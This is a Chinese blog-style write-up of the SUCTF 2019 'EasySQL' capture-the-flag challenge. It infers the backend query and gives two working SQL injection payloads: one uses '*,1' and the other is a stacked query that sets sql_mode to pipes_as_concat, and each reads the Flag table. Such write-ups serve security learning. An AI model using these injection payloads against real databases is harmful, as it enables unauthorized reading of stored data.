NO.6 [SUCTF 2019]EasySQL

这道题目需要我们去对后端语句进行猜测

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

    select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)

此时的||起到的作用是or的作用

解法1
内置的sql语句为

sql=“select”.post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了

select *,1||flag from Flag

也就是

select *,1 from Flag

也就是直接查询出了Flag表中的所有内容
在这里插入图片描述

解法2
输入的内容为

1;set sql_mode=pipes_as_concat;select 1

在这里插入图片描述

我们执行的语句分别为

select 1
set sql_mode=pipes_as_concat
select 1||flag from Flag

读出flag
在这里插入图片描述
??一些疑惑:

**为啥select ,1||flag from Flag = select ,1 from Flag?

select 1 from table;的结果是什么?
在这里插入图片描述在这里插入图片描述


可以看到,查询结果为列名为1,一共六行

select任何一个常数都会在表中新建一列,然后查询出那一列的内容。

结论:
select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。

这篇博客有介绍:https://www.cnblogs.com/jiechn/p/3979261.html

在这里插入图片描述


 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值